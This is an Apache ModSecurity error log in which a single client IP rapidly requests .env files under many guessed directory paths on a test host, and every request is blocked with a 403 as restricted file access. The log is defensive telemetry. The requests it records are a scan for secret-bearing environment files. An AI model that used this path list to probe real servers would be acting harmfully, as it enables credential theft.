[Thu Feb 26 01:03:10.767685 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /monitoring/compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monitoring/compose/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk1gAAAAM&quot;]
[Thu Feb 26 01:03:10.767901 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monitoring/compose/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk1gAAAAM&quot;]
[Thu Feb 26 01:03:10.768060 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monitoring/compose/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk1gAAAAM&quot;]
[Thu Feb 26 01:03:10.773000 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mentorg-lava-docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mentorg-lava-docker/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PvQAAAAU&quot;]
[Thu Feb 26 01:03:10.773238 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mentorg-lava-docker/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PvQAAAAU&quot;]
[Thu Feb 26 01:03:10.773385 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mentorg-lava-docker/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PvQAAAAU&quot;]
[Thu Feb 26 01:03:10.800574 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /moodledata/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/moodledata/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk1wAAAAM&quot;]
[Thu Feb 26 01:03:10.800793 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/moodledata/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk1wAAAAM&quot;]
[Thu Feb 26 01:03:10.800953 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/moodledata/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk1wAAAAM&quot;]
[Thu Feb 26 01:03:10.801953 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /micro-app-react-communication/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react-communication/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PvgAAAAU&quot;]
[Thu Feb 26 01:03:10.802205 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react-communication/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PvgAAAAU&quot;]
[Thu Feb 26 01:03:10.802378 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react-communication/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PvgAAAAU&quot;]
[Thu Feb 26 01:03:10.833217 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /msks/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/msks/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk2AAAAAM&quot;]
[Thu Feb 26 01:03:10.833492 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/msks/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk2AAAAAM&quot;]
[Thu Feb 26 01:03:10.833690 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/msks/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk2AAAAAM&quot;]
[Thu Feb 26 01:03:10.833748 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /micro-app-react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PvwAAAAU&quot;]
[Thu Feb 26 01:03:10.833990 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PvwAAAAU&quot;]
[Thu Feb 26 01:03:10.834184 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PvwAAAAU&quot;]
[Thu Feb 26 01:03:10.859032 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mindsweeper/gui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mindsweeper/gui/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PwAAAAAU&quot;]
[Thu Feb 26 01:03:10.859079 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /munki_repo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/munki_repo/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk2QAAAAM&quot;]
[Thu Feb 26 01:03:10.859276 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mindsweeper/gui/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PwAAAAAU&quot;]
[Thu Feb 26 01:03:10.859315 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/munki_repo/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk2QAAAAM&quot;]
[Thu Feb 26 01:03:10.859451 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mindsweeper/gui/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PwAAAAAU&quot;]
[Thu Feb 26 01:03:10.859493 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/munki_repo/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk2QAAAAM&quot;]
[Thu Feb 26 01:03:10.899364 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /music/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/music/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk2gAAAAM&quot;]
[Thu Feb 26 01:03:10.899571 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /minified/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/minified/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PwQAAAAU&quot;]
[Thu Feb 26 01:03:10.899617 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/music/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk2gAAAAM&quot;]
[Thu Feb 26 01:03:10.899797 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/minified/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PwQAAAAU&quot;]
[Thu Feb 26 01:03:10.899803 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/music/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk2gAAAAM&quot;]
[Thu Feb 26 01:03:10.899949 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/minified/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PwQAAAAU&quot;]
[Thu Feb 26 01:03:10.924081 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /myrentals.web/clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/MyRentals.Web/ClientApp/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk2wAAAAM&quot;]
[Thu Feb 26 01:03:10.924323 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/MyRentals.Web/ClientApp/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk2wAAAAM&quot;]
[Thu Feb 26 01:03:10.924486 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/MyRentals.Web/ClientApp/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk2wAAAAM&quot;]
